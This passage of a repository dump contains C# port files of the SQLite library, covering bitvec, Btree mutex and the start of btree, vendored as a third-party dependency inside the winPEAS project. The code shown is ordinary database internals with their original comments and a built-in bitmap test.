Bitvec.u.apSub[].  Each subbitmap\n    ** handles up to iDivisor separate values of i.  apSub[0] holds\n    ** values between 1 and iDivisor.  apSub[1] holds values between\n    ** iDivisor+1 and 2*iDivisor.  apSub[N] holds values between\n    ** N*iDivisor+1 and (N+1)*iDivisor.  Each subbitmap is normalized\n    ** to hold deal with values between 1 and iDivisor.\n    */\n    public class _u\n    {\n      public BITVEC_TELEM[] aBitmap = new byte[BITVEC_NELEM];   /* Bitmap representation */\n      public u32[] aHash = new u32[BITVEC_NINT];        /* Hash table representation */\n      public Bitvec[] apSub = new Bitvec[BITVEC_NPTR];  /* Recursive representation */\n    }\n    public class Bitvec\n    {\n      public u32 iSize;     /* Maximum bit index.  Max iSize is 4,294,967,296. */\n      public u32 nSet;      /* Number of bits that are set - only valid for aHash\n      ** element.  Max is BITVEC_NINT.  For BITVEC_SZ of 512,\n      ** this would be 125. */\n      public u32 iDivisor;  /* Number of bits handled by each apSub[] entry. */\n      /* Should >=0 for apSub element. */\n      /* Max iDivisor is max(u32) / BITVEC_NPTR + 1.  */\n      /* For a BITVEC_SZ of 512, this would be 34,359,739. */\n      public _u u = new _u();\n\n      public static implicit operator bool( Bitvec b )\n      {\n        return ( b != null );\n      }\n    };\n\n    /*\n    ** Create a new bitmap object able to handle bits between 0 and iSize,\n    ** inclusive.  Return a pointer to the new object.  Return NULL if\n    ** malloc fails.\n    */\n    static Bitvec sqlite3BitvecCreate( u32 iSize )\n    {\n      Bitvec p;\n      //Debug.Assert( sizeof(p)==BITVEC_SZ );\n      p = new Bitvec();//sqlite3MallocZero( sizeof(p) );\n      if ( p != null )\n      {\n        p.iSize = iSize;\n      }\n      return p;\n    }\n\n    /*\n    ** Check to see if the i-th bit is set.  Return true or false.\n    ** If p is NULL (if the bitmap has not been created) or if\n    ** i is out of range, then return false.\n    */\n    static int sqlite3BitvecTest( Bitvec p, u32 i )\n    {\n      if ( p == null || i == 0 ) return 0;\n      if ( i > p.iSize ) return 0;\n      i--;\n      while ( p.iDivisor != 0 )\n      {\n        u32 bin = i / p.iDivisor;\n        i = i % p.iDivisor;\n        p = p.u.apSub[bin];\n        if ( null == p )\n        {\n          return 0;\n        }\n      }\n      if ( p.iSize <= BITVEC_NBIT )\n      {\n        return ( ( p.u.aBitmap[i / BITVEC_SZELEM] & ( 1 << (int)( i & ( BITVEC_SZELEM - 1 ) ) ) ) != 0 ) ? 1 : 0;\n      }\n      else\n      {\n        u32 h = BITVEC_HASH( i++ );\n        while ( p.u.aHash[h] != 0 )\n        {\n          if ( p.u.aHash[h] == i ) return 1;\n          h = ( h + 1 ) % BITVEC_NINT;\n        }\n        return 0;\n      }\n    }\n\n    /*\n    ** Set the i-th bit.  Return 0 on success and an error code if\n    ** anything goes wrong.\n    **\n    ** This routine might cause sub-bitmaps to be allocated.  Failing\n    ** to get the memory needed to hold the sub-bitmap is the only\n    ** that can go wrong with an insert, assuming p and i are valid.\n    **\n    ** The calling function must ensure that p is a valid Bitvec object\n    ** and that the value for \"i\" is within range of the Bitvec object.\n    ** Otherwise the behavior is undefined.\n    */\n    static int sqlite3BitvecSet( Bitvec p, u32 i )\n    {\n      u32 h;\n      if ( p == null ) return SQLITE_OK;\n      Debug.Assert( i > 0 );\n      Debug.Assert( i <= p.iSize );\n      i--;\n      while ( ( p.iSize > BITVEC_NBIT ) && p.iDivisor != 0 )\n      {\n        u32 bin = i / p.iDivisor;\n        i = i % p.iDivisor;\n        if ( p.u.apSub[bin] == null )\n        {\n          p.u.apSub[bin] = sqlite3BitvecCreate( p.iDivisor );\n          if ( p.u.apSub[bin] == null ) return SQLITE_NOMEM;\n        }\n        p = p.u.apSub[bin];\n      }\n      if ( p.iSize <= BITVEC_NBIT )\n      {\n        p.u.aBitmap[i / BITVEC_SZELEM] |= (byte)( 1 << (int)( i & ( BITVEC_SZELEM - 1 ) ) );\n        return SQLITE_OK;\n      }\n      h = BITVEC_HASH( i++ );\n      /* if there wasn't a hash collision, and this doesn't */\n      /* completely fill the hash, then just add it without */\n      /* worring about sub-dividing and re-hashing. */\n      if ( 0 == p.u.aHash[h] )\n      {\n        if ( p.nSet < ( BITVEC_NINT - 1 ) )\n        {\n          goto bitvec_set_end;\n        }\n        else\n        {\n          goto bitvec_set_rehash;\n        }\n      }\n      /* there was a collision, check to see if it's already */\n      /* in hash, if not, try to find a spot for it */\n      do\n      {\n        if ( p.u.aHash[h] == i ) return SQLITE_OK;\n        h++;\n        if ( h >= BITVEC_NINT ) h = 0;\n      } while ( p.u.aHash[h] != 0 );\n/* we didn't find it in the hash.  h points to the first */\n/* available free spot. check to see if this is going to */\n/* make our hash too \"full\".  */\nbitvec_set_rehash:\n      if ( p.nSet >= BITVEC_MXHASH )\n      {\n        u32 j;\n        int rc;\n        u32[] aiValues = new u32[BITVEC_NINT];// = sqlite3StackAllocRaw(0, sizeof(p->u.aHash));\n        if ( aiValues == null )\n        {\n          return SQLITE_NOMEM;\n        }\n        else\n        {\n\n          Buffer.BlockCopy( p.u.aHash, 0, aiValues, 0, aiValues.Length * ( sizeof( u32 ) ) );// memcpy(aiValues, p->u.aHash, sizeof(p->u.aHash));\n          p.u.apSub = new Bitvec[BITVEC_NPTR];//memset(p->u.apSub, 0, sizeof(p->u.apSub));\n          p.iDivisor = ( p.iSize + BITVEC_NPTR - 1 ) / BITVEC_NPTR;\n          rc = sqlite3BitvecSet( p, i );\n          for ( j = 0 ; j < BITVEC_NINT ; j++ )\n          {\n            if ( aiValues[j] != 0 ) rc |= sqlite3BitvecSet( p, aiValues[j] );\n          }\n          //sqlite3StackFree( null, aiValues );\n          return rc;\n        }\n      }\nbitvec_set_end:\n      p.nSet++;\n      p.u.aHash[h] = i;\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Clear the i-th bit.\n    **\n    ** pBuf must be a pointer to at least BITVEC_SZ bytes of temporary storage\n    ** that BitvecClear can use to rebuilt its hash table.\n    */\n    static void sqlite3BitvecClear( Bitvec p, u32 i, u32[] pBuf )\n    {\n      if ( p == null ) return; \n      Debug.Assert( i > 0 );\n      i--;\n      while ( p.iDivisor != 0 )\n      {\n        u32 bin = i / p.iDivisor;\n        i = i % p.iDivisor;\n        p = p.u.apSub[bin];\n        if ( null == p )\n        {\n          return;\n        }\n      }\n      if ( p.iSize <= BITVEC_NBIT )\n      {\n        p.u.aBitmap[i / BITVEC_SZELEM] &= (byte)~( ( 1 << (int)( i & ( BITVEC_SZELEM - 1 ) ) ) );\n      }\n      else\n      {\n        u32 j;\n        u32[] aiValues = pBuf;\n        Array.Copy( p.u.aHash, aiValues, p.u.aHash.Length );//memcpy(aiValues, p->u.aHash, sizeof(p->u.aHash));\n        p.u.aHash = new u32[aiValues.Length];// memset(p->u.aHash, 0, sizeof(p->u.aHash));\n        p.nSet = 0;\n        for ( j = 0 ; j < BITVEC_NINT ; j++ )\n        {\n          if ( aiValues[j] != 0 && aiValues[j] != ( i + 1 ) )\n          {\n            u32 h = BITVEC_HASH( aiValues[j] - 1 );\n            p.nSet++;\n            while ( p.u.aHash[h] != 0 )\n            {\n              h++;\n              if ( h >= BITVEC_NINT ) h = 0;\n            }\n            p.u.aHash[h] = aiValues[j];\n          }\n        }\n      }\n    }\n\n    /*\n    ** Destroy a bitmap object.  Reclaim all memory used.\n    */\n    static void sqlite3BitvecDestroy( ref Bitvec p )\n    {\n      if ( p == null ) return;\n      if ( p.iDivisor != 0 )\n      {\n        u32 i;\n        for ( i = 0 ; i < BITVEC_NPTR ; i++ )\n        {\n          sqlite3BitvecDestroy( ref p.u.apSub[i] );\n        }\n      }\n      //sqlite3_free( ref p );\n    }\n\n    /*\n    ** Return the value of the iSize parameter specified when Bitvec *p\n    ** was created.\n    */\n    static u32 sqlite3BitvecSize( Bitvec p )\n    {\n      return p.iSize;\n    }\n\n#if !SQLITE_OMIT_BUILTIN_TEST\n    /*\n** Let V[] be an array of unsigned characters sufficient to hold\n** up to N bits.  Let I be an integer between 0 and N.  0<=I<N.\n** Then the following macros can be used to set, clear, or test\n** individual bits within V.\n*/\n    //#define SETBIT(V,I)      V[I>>3] |= (1<<(I&7))\n    static void SETBIT( byte[] V, int I ) { V[I >> 3] |= (byte)( 1 << ( I & 7 ) ); }\n\n    //#define CLEARBIT(V,I)    V[I>>3] &= ~(1<<(I&7))\n    static void CLEARBIT( byte[] V, int I ) { V[I >> 3] &= (byte)~( 1 << ( I & 7 ) ); }\n\n    //#define TESTBIT(V,I)     (V[I>>3]&(1<<(I&7)))!=0\n    static int TESTBIT( byte[] V, int I ) { return ( V[I >> 3] & ( 1 << ( I & 7 ) ) ) != 0 ? 1 : 0; }\n\n    /*\n    ** This routine runs an extensive test of the Bitvec code.\n    **\n    ** The input is an array of integers that acts as a program\n    ** to test the Bitvec.  The integers are opcodes followed\n    ** by 0, 1, or 3 operands, depending on the opcode.  Another\n    ** opcode follows immediately after the last operand.\n    **\n    ** There are 6 opcodes numbered from 0 through 5.  0 is the\n    ** \"halt\" opcode and causes the test to end.\n    **\n    **    0          Halt and return the number of errors\n    **    1 N S X    Set N bits beginning with S and incrementing by X\n    **    2 N S X    Clear N bits beginning with S and incrementing by X\n    **    3 N        Set N randomly chosen bits\n    **    4 N        Clear N randomly chosen bits\n    **    5 N S X    Set N bits from S increment X in array only, not in bitvec\n    **\n    ** The opcodes 1 through 4 perform set and clear operations are performed\n    ** on both a Bitvec object and on a linear array of bits obtained from malloc.\n    ** Opcode 5 works on the linear array only, not on the Bitvec.\n    ** Opcode 5 is used to deliberately induce a fault in order to\n    ** confirm that error detection works.\n    **\n    ** At the conclusion of the test the linear array is compared\n    ** against the Bitvec object.  If there are any differences,\n    ** an error is returned.  If they are the same, zero is returned.\n    **\n    ** If a memory allocation error occurs, return -1.\n    */\n    static int sqlite3BitvecBuiltinTest( u32 sz, int[] aOp )\n    {\n      Bitvec pBitvec = null;\n      byte[] pV = null;\n      int rc = -1;\n      int i, nx, pc, op;\n      u32[] pTmpSpace;\n\n      /* Allocate the Bitvec to be tested and a linear array of\n      ** bits to act as the reference */\n      pBitvec = sqlite3BitvecCreate( sz );\n      pV = new byte[( sz + 7 ) / 8 + 1];// sqlite3_malloc( ( sz + 7 ) / 8 + 1 );\n      pTmpSpace = new u32[BITVEC_SZ];// sqlite3_malloc( BITVEC_SZ );\n      if ( pBitvec == null || pV == null || pTmpSpace == null ) goto bitvec_end;\n      Array.Clear( pV, 0, (int)( sz + 7 ) / 8 + 1 );// memset( pV, 0, ( sz + 7 ) / 8 + 1 );\n\n      /* NULL pBitvec tests */\n      sqlite3BitvecSet( null, (u32)1 );\n      sqlite3BitvecClear( null, 1, pTmpSpace );\n\n      /* Run the program */\n      pc = 0;\n      while ( ( op = aOp[pc] ) != 0 )\n      {\n        switch ( op )\n        {\n          case 1:\n          case 2:\n          case 5:\n            {\n              nx = 4;\n              i = aOp[pc + 2] - 1;\n              aOp[pc + 2] += aOp[pc + 3];\n              break;\n            }\n          case 3:\n          case 4:\n          default:\n            {\n              nx = 2;\n              i64 i64Temp = 0;\n              sqlite3_randomness( sizeof( i64 ), ref i64Temp );\n              i = (int)i64Temp;\n              break;\n            }\n        }\n        if ( ( --aOp[pc + 1] ) > 0 ) nx = 0;\n        pc += nx;\n        i = (int)( ( i & 0x7fffffff ) % sz );\n        if ( ( op & 1 ) != 0 )\n        {\n          SETBIT( pV, ( i + 1 ) );\n          if ( op != 5 )\n          {\n            if ( sqlite3BitvecSet( pBitvec, (u32)i + 1 ) != 0 ) goto bitvec_end;\n          }\n        }\n        else\n        {\n          CLEARBIT( pV, ( i + 1 ) );\n          sqlite3BitvecClear( pBitvec, (u32)i + 1, pTmpSpace );\n        }\n      }\n\n      /* Test to make sure the linear array exactly matches the\n      ** Bitvec object.  Start with the assumption that they do\n      ** match (rc==0).  Change rc to non-zero if a discrepancy\n      ** is found.\n      */\n      rc = sqlite3BitvecTest( null, 0 ) + sqlite3BitvecTest( pBitvec, sz + 1 )\n      + sqlite3BitvecTest( pBitvec, 0 )\n      + (int)( sqlite3BitvecSize( pBitvec ) - sz );\n      for ( i = 1 ; i <= sz ; i++ )\n      {\n        if ( ( TESTBIT( pV, i ) ) != sqlite3BitvecTest( pBitvec, (u32)i ) )\n        {\n          rc = i;\n          break;\n        }\n      }\n\n          /* Free allocated structure */\nbitvec_end:\n      //sqlite3_free( ref pTmpSpace );\n      //sqlite3_free( ref pV );\n      sqlite3BitvecDestroy( ref pBitvec );\n      return rc;\n    }\n#endif //* SQLITE_OMIT_BUILTIN_TEST */\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/btmutex_c.cs",
    "content": "namespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2007 August 27\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    **\n    ** $Id: btmutex.c,v 1.17 2009/07/20 12:33:33 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    **\n    ** This file contains code used to implement mutexes on Btree objects.\n    ** This code really belongs in btree.c.  But btree.c is getting too\n    ** big and we want to break it down some.  This packaged seemed like\n    ** a good breakout.\n    */\n    //#include \"btreeInt.h\"\n#if !SQLITE_OMIT_SHARED_CACHE\n#if SQLITE_THREADSAFE\n\n/*\n** Obtain the BtShared mutex associated with B-Tree handle p. Also,\n** set BtShared.db to the database handle associated with p and the\n** p->locked boolean to true.\n*/\nstatic void lockBtreeMutex(Btree *p){\nassert( p->locked==0 );\nassert( sqlite3_mutex_notheld(p->pBt->mutex) );\nassert( sqlite3_mutex_held(p->db->mutex) );\n\nsqlite3_mutex_enter(p->pBt->mutex);\np->pBt->db = p->db;\np->locked = 1;\n}\n\n/*\n** Release the BtShared mutex associated with B-Tree handle p and\n** clear the p->locked boolean.\n*/\nstatic void unlockBtreeMutex(Btree *p){\nassert( p->locked==1 );\nassert( sqlite3_mutex_held(p->pBt->mutex) );\nassert( sqlite3_mutex_held(p->db->mutex) );\nassert( p->db==p->pBt->db );\n\nsqlite3_mutex_leave(p->pBt->mutex);\np->locked = 0;\n}\n\n/*\n** Enter a mutex on the given BTree object.\n**\n** If the object is not sharable, then no mutex is ever required\n** and this routine is a no-op.  The underlying mutex is non-recursive.\n** But we keep a reference count in Btree.wantToLock so the behavior\n** of this interface is recursive.\n**\n** To avoid deadlocks, multiple Btrees are locked in the same order\n** by all database connections.  The p->pNext is a list of other\n** Btrees belonging to the same database connection as the p Btree\n** which need to be locked after p.  If we cannot get a lock on\n** p, then first unlock all of the others on p->pNext, then wait\n** for the lock to become available on p, then relock all of the\n** subsequent Btrees that desire a lock.\n*/\nvoid sqlite3BtreeEnter(Btree *p){\nBtree *pLater;\n\n/* Some basic sanity checking on the Btree.  The list of Btrees\n** connected by pNext and pPrev should be in sorted order by\n** Btree.pBt value. All elements of the list should belong to\n** the same connection. Only shared Btrees are on the list. */\nassert( p->pNext==0 || p->pNext->pBt>p->pBt );\nassert( p->pPrev==0 || p->pPrev->pBt<p->pBt );\nassert( p->pNext==0 || p->pNext->db==p->db );\nassert( p->pPrev==0 || p->pPrev->db==p->db );\nassert( p->sharable || (p->pNext==0 && p->pPrev==0) );\n\n/* Check for locking consistency */\nassert( !p->locked || p->wantToLock>0 );\nassert( p->sharable || p->wantToLock==0 );\n\n/* We should already hold a lock on the database connection */\nassert( sqlite3_mutex_held(p->db->mutex) );\n\n/* Unless the database is sharable and unlocked, then BtShared.db\n** should already be set correctly. */\nassert( (p->locked==0 && p->sharable) || p->pBt->db==p->db );\n\nif( !p->sharable ) return;\np->wantToLock++;\nif( p->locked ) return;\n\n/* In most cases, we should be able to acquire the lock we\n** want without having to go throught the ascending lock\n** procedure that follows.  Just be sure not to block.\n*/\nif( sqlite3_mutex_try(p->pBt->mutex)==SQLITE_OK ){\np->pBt->db = p->db;\np->locked = 1;\nreturn;\n}\n\n/* To avoid deadlock, first release all locks with a larger\n** BtShared address.  Then acquire our lock.  Then reacquire\n** the other BtShared locks that we used to hold in ascending\n** order.\n*/\nfor(pLater=p->pNext; pLater; pLater=pLater->pNext){\nassert( pLater->sharable );\nassert( pLater->pNext==0 || pLater->pNext->pBt>pLater->pBt );\nassert( !pLater->locked || pLater->wantToLock>0 );\nif( pLater->locked ){\nunlockBtreeMutex(pLater);\n}\n}\nlockBtreeMutex(p);\nfor(pLater=p->pNext; pLater; pLater=pLater->pNext){\nif( pLater->wantToLock ){\nlockBtreeMutex(pLater);\n}\n}\n}\n\n/*\n** Exit the recursive mutex on a Btree.\n*/\nvoid sqlite3BtreeLeave(Btree *p){\nif( p->sharable ){\nassert( p->wantToLock>0 );\np->wantToLock--;\nif( p->wantToLock==0 ){\nunlockBtreeMutex(p);\n}\n}\n}\n\n#if !NDEBUG\n/*\n** Return true if the BtShared mutex is held on the btree, or if the\n** B-Tree is not marked as sharable.\n**\n** This routine is used only from within assert() statements.\n*/\nint sqlite3BtreeHoldsMutex(Btree *p){\nassert( p->sharable==0 || p->locked==0 || p->wantToLock>0 );\nassert( p->sharable==0 || p->locked==0 || p->db==p->pBt->db );\nassert( p->sharable==0 || p->locked==0 || sqlite3_mutex_held(p->pBt->mutex) );\nassert( p->sharable==0 || p->locked==0 || sqlite3_mutex_held(p->db->mutex) );\n\nreturn (p->sharable==0 || p->locked);\n}\n#endif\n\n\n#if !SQLITE_OMIT_INCRBLOB\n/*\n** Enter and leave a mutex on a Btree given a cursor owned by that\n** Btree.  These entry points are used by incremental I/O and can be\n** omitted if that module is not used.\n*/\nvoid sqlite3BtreeEnterCursor(BtCursor *pCur){\nsqlite3BtreeEnter(pCur->pBtree);\n}\nvoid sqlite3BtreeLeaveCursor(BtCursor *pCur){\nsqlite3BtreeLeave(pCur->pBtree);\n}\n#endif //* SQLITE_OMIT_INCRBLOB */\n\n\n/*\n** Enter the mutex on every Btree associated with a database\n** connection.  This is needed (for example) prior to parsing\n** a statement since we will be comparing table and column names\n** against all schemas and we do not want those schemas being\n** reset out from under us.\n**\n** There is a corresponding leave-all procedures.\n**\n** Enter the mutexes in accending order by BtShared pointer address\n** to avoid the possibility of deadlock when two threads with\n** two or more btrees in common both try to lock all their btrees\n** at the same instant.\n*/\nvoid sqlite3BtreeEnterAll(sqlite3 *db){\nint i;\nBtree *p, *pLater;\nassert( sqlite3_mutex_held(db->mutex) );\nfor(i=0; i<db->nDb; i++){\np = db->aDb[i].pBt;\nassert( !p || (p->locked==0 && p->sharable) || p->pBt->db==p->db );\nif( p && p->sharable ){\np->wantToLock++;\nif( !p->locked ){\nassert( p->wantToLock==1 );\nwhile( p->pPrev ) p = p->pPrev;\n/* Reason for ALWAYS:  There must be at least on unlocked Btree in\n** the chain.  Otherwise the !p->locked test above would have failed */\nwhile( p->locked && ALWAYS(p->pNext) ) p = p->pNext;\nfor(pLater = p->pNext; pLater; pLater=pLater->pNext){\nif( pLater->locked ){\nunlockBtreeMutex(pLater);\n}\n}\nwhile( p ){\nlockBtreeMutex(p);\np = p->pNext;\n}\n}\n}\n}\n}\nvoid sqlite3BtreeLeaveAll(sqlite3 *db){\nint i;\nBtree *p;\nassert( sqlite3_mutex_held(db->mutex) );\nfor(i=0; i<db->nDb; i++){\np = db->aDb[i].pBt;\nif( p && p->sharable ){\nassert( p->wantToLock>0 );\np->wantToLock--;\nif( p->wantToLock==0 ){\nunlockBtreeMutex(p);\n}\n}\n}\n}\n\n#if !NDEBUG\n/*\n** Return true if the current thread holds the database connection\n** mutex and all required BtShared mutexes.\n**\n** This routine is used inside assert() statements only.\n*/\nint sqlite3BtreeHoldsAllMutexes(sqlite3 *db){\nint i;\nif( !sqlite3_mutex_held(db->mutex) ){\nreturn 0;\n}\nfor(i=0; i<db->nDb; i++){\nBtree *p;\np = db->aDb[i].pBt;\nif( p && p->sharable &&\n(p->wantToLock==0 || !sqlite3_mutex_held(p->pBt->mutex)) ){\nreturn 0;\n}\n}\nreturn 1;\n}\n#endif //* NDEBUG */\n\n/*\n** Add a new Btree pointer to a BtreeMutexArray.\n** if the pointer can possibly be shared with\n** another database connection.\n**\n** The pointers are kept in sorted order by pBtree->pBt.  That\n** way when we go to enter all the mutexes, we can enter them\n** in order without every having to backup and retry and without\n** worrying about deadlock.\n**\n** The number of shared btrees will always be small (usually 0 or 1)\n** so an insertion sort is an adequate algorithm here.\n*/\nvoid sqlite3BtreeMutexArrayInsert(BtreeMutexArray *pArray, Btree *pBtree){\nint i, j;\nBtShared *pBt;\nif( pBtree==0 || pBtree->sharable==0 ) return;\n#if !NDEBUG\n{\nfor(i=0; i<pArray->nMutex; i++){\nassert( pArray->aBtree[i]!=pBtree );\n}\n}\n#endif\nassert( pArray->nMutex>=0 );\nassert( pArray->nMutex<ArraySize(pArray->aBtree)-1 );\npBt = pBtree->pBt;\nfor(i=0; i<pArray->nMutex; i++){\nassert( pArray->aBtree[i]!=pBtree );\nif( pArray->aBtree[i]->pBt>pBt ){\nfor(j=pArray->nMutex; j>i; j--){\npArray->aBtree[j] = pArray->aBtree[j-1];\n}\npArray->aBtree[i] = pBtree;\npArray->nMutex++;\nreturn;\n}\n}\npArray->aBtree[pArray->nMutex++] = pBtree;\n}\n\n/*\n** Enter the mutex of every btree in the array.  This routine is\n** called at the beginning of sqlite3VdbeExec().  The mutexes are\n** exited at the end of the same function.\n*/\nvoid sqlite3BtreeMutexArrayEnter(BtreeMutexArray *pArray){\nint i;\nfor(i=0; i<pArray->nMutex; i++){\nBtree *p = pArray->aBtree[i];\n/* Some basic sanity checking */\nassert( i==0 || pArray->aBtree[i-1]->pBt<p->pBt );\nassert( !p->locked || p->wantToLock>0 );\n\n/* We should already hold a lock on the database connection */\nassert( sqlite3_mutex_held(p->db->mutex) );\n\n/* The Btree is sharable because only sharable Btrees are entered\n** into the array in the first place. */\nassert( p->sharable );\n\np->wantToLock++;\nif( !p->locked ){\nlockBtreeMutex(p);\n}\n}\n}\n\n/*\n** Leave the mutex of every btree in the group.\n*/\nvoid sqlite3BtreeMutexArrayLeave(BtreeMutexArray *pArray){\nint i;\nfor(i=0; i<pArray->nMutex; i++){\nBtree *p = pArray->aBtree[i];\n/* Some basic sanity checking */\nassert( i==0 || pArray->aBtree[i-1]->pBt<p->pBt );\nassert( p->locked);\nassert( p->wantToLock>0 );\n\n/* We should already hold a lock on the database connection */\nassert( sqlite3_mutex_held(p->db->mutex) );\n\np->wantToLock--;\nif( p->wantToLock==0){\nunlockBtreeMutex(p);\n}\n}\n}\n\n#else\nstatic void sqlite3BtreeEnter( Btree p )\n{\np.pBt.db = p.db;\n}\nstatic void sqlite3BtreeEnterAll( sqlite3 db )\n{\nint i;\nfor ( i = 0 ; i < db.nDb ; i++ )\n{\nBtree p = db.aDb[i].pBt;\nif ( p != null )\n{\np.pBt.db = p.db;\n}\n}\n}\n#endif //* if SQLITE_THREADSAFE */\n#endif //* ifndef SQLITE_OMIT_SHARED_CACHE */\n\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/btree_c.cs",
    "content": "using System;\nusing System.Diagnostics;\nusing System.Text;\nusing i64 = System.Int64;\nusing u8 = System.Byte;\nusing u16 = System.UInt16;\nusing u32 = System.UInt32;\nusing u64 = System.UInt64;\nusing sqlite3_int64 = System.Int64;\nusing Pgno = System.UInt32;\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  using DbPage = CSSQLite.PgHdr;\n\n  public partial class CSSQLite\n  {\n    /*\n    ** 2004 April 6\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** $Id: btree.c,v 1.705 2009/08/10 03:57:58 shane Exp $\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    **\n    ** This file implements a external (disk-based) database using BTrees.\n    ** See the header comment on \"btreeInt.h\" for additional information.\n    ** Including a description of file format and an overview of operation.\n    */\n    //#include \"btreeInt.h\"\n\n    /*\n    ** The header string that appears at the beginning of every\n    ** SQLite database.\n    */\n    static string zMagicHeader = SQLITE_FILE_HEADER;\n\n    /*\n    ** Set this global variable to 1 to enable tracing using the TRACE\n    ** macro.\n    */\n#if TRACE \nstatic bool sqlite3BtreeTrace=false;  /* True to enable tracing */\n//# define TRACE(X)  if(sqlite3BtreeTrace){printf X;fflush(stdout);}\nstatic void TRACE(string X, params object[] ap) { if (sqlite3BtreeTrace)  printf(X, ap); }\n#else\n    //# define TRACE(X)\n    static void TRACE(string X, params object[] ap) { }\n#endif\n\n\n\n#if !SQLITE_OMIT_SHARED_CACHE\n/*\n** A list of BtShared objects that are eligible for participation\n** in shared cache.  This variable has file scope during normal builds,\n** but the test harness needs to access it so we make it global for\n** test builds.\n**\n** Access to this variable is protected by SQLITE_MUTEX_STATIC_MASTER.\n*/\n#if SQLITE_TEST\nBtShared *SQLITE_WSD sqlite3SharedCacheList = 0;\n#else\nstatic BtShared *SQLITE_WSD sqlite3SharedCacheList = 0;\n#endif\n#endif //* SQLITE_OMIT_SHARED_CACHE */\n\n#if !SQLITE_OMIT_SHARED_CACHE\n/*\n** Enable or disable the shared pager and schema features.\n**\n** This routine has no effect on existing database connections.\n** The shared cache setting effects only future calls to\n** sqlite3_open(), sqlite3_open16(), or sqlite3_open_v2().\n*/\nint sqlite3_enable_shared_cache(int enable){\nsqlite3GlobalConfig.sharedCacheEnabled = enable;\nreturn SQLITE_OK;\n}\n#endif\n\n\n\n#if SQLITE_OMIT_SHARED_CACHE\n    /*\n** The functions querySharedCacheTableLock(), setSharedCacheTableLock(),\n** and clearAllSharedCacheTableLocks()\n** manipulate entries in the BtShared.pLock linked list used to store\n** shared-cache table level locks. If the library is compiled with the\n** shared-cache feature disabled, then there is only ever one user\n** of each BtShared structure and so this locking is not necessary.\n** So define the lock related functions as no-ops.\n*/\n    //#define querySharedCacheTableLock(a,b,c) SQLITE_OK\n    static int querySharedCacheTableLock(Btree p, Pgno iTab, u8 eLock) { return SQLITE_OK; }\n\n    //#define setSharedCacheTableLock(a,b,c) SQLITE_OK\n    //#define clearAllSharedCacheTableLocks(a)\n    static void clearAllSharedCacheTableLocks(Btree a) { }\n    //#define downgradeAllSharedCacheTableLocks(a)\n    static void downgradeAllSharedCacheTableLocks(Btree a) { }\n    //#define hasSharedCacheTableLock(a,b,c,d) 1\n    static bool hasSharedCacheTableLock(Btree a, Pgno b, int c, int d) { return true; }\n    //#define hasReadConflicts(a, b) 0\n    static bool hasReadConflicts(Btree a, Pgno b) { return false; }\n#endif\n\n#if !SQLITE_OMIT_SHARED_CACHE\n\n#if SQLITE_DEBUG\n/*\n** This function is only used as part of an Debug.Assert() statement. It checks\n** that connection p holds the required locks to read or write to the\n** b-tree with root page iRoot. If so, true is returned. Otherwise, false.\n** For example, when writing to a table b-tree with root-page iRoot via\n** Btree connection pBtree:\n**\n**    Debug.Assert( hasSharedCacheTableLock(pBtree, iRoot, 0, WRITE_LOCK) );\n**\n** When writing to an index b-tree that resides in a sharable database, the\n** caller should have first obtained a lock specifying the root page of\n** the corresponding table b-tree. This makes things a bit more complicated,\n** as this module treats each b-tree as a separate structure. To determine\n** the table b-tree corresponding to the index b-tree being written, this\n** function has to search through the database schema.\n**\n** Instead of a lock on the b-tree rooted at page iRoot, the caller may\n** hold a write-lock on the schema table (root page 1). This is also\n** acceptable.\n*/\nstatic int hasSharedCacheTableLock(\nBtree pBtree,         /* Handle that must hold lock */\nPgno iRoot,            /* Root page of b-tree */\nint isIndex,           /* True if iRoot is the root of an index b-tree */\nint eLockType          /* Required lock type (READ_LOCK or WRITE_LOCK) */\n){\nSchema pSchema = (Schema *)pBtree.pBt.pSchema;\nPgno iTab = 0;\nBtLock pLock;\n\n/* If this b-tree database is not shareable, or if the client is reading\n** and has the read-uncommitted flag set, then no lock is required.\n** In these cases return true immediately.  If the client is reading\n** or writing an index b-tree, but the schema is not loaded, then return\n** true also. In this case the lock is required, but it is too difficult\n** to check if the client actually holds it. This doesn't happen very\n** often.  */\nif( (pBtree.sharable==null)\n|| (eLockType==READ_LOCK && (pBtree.db.flags & SQLITE_ReadUncommitted))\n|| (isIndex && (!pSchema || (pSchema.flags&DB_SchemaLoaded)==null ))\n){\nreturn 1;\n}\n\n/* Figure out the root-page that the lock should be held on. For table\n** b-trees, this is just the root page of the b-tree being read or\n** written. For index b-trees, it is the root page of the associated\n** table.  */\nif( isIndex ){\nHashElem p;\nfor(p=sqliteHashFirst(pSchema.idxHash); p!=null; p=sqliteHashNext(p)){\nIndex pIdx = (Index *)sqliteHashData(p);\nif( pIdx.tnum==(int)iRoot ){\niTab = pIdx.pTable.tnum;\n}\n}\n}else{\niTab = iRoot;\n}\n\n/* Search for the required lock. Either a write-lock on root-page iTab, a\n** write-lock on the schema table, or (if the client is reading) a\n** read-lock on iTab will suffice. Return 1 if any of these are found.  */\nfor(pLock=pBtree.pBt.pLock; pLock; pLock=pLock.pNext){\nif( pLock.pBtree==pBtree\n&& (pLock.iTable==iTab || (pLock.eLock==WRITE_LOCK && pLock.iTable==1))\n&& pLock.eLock>=eLockType\n){\nreturn 1;\n}\n}\n\n/* Failed to find the required lock. */\nreturn 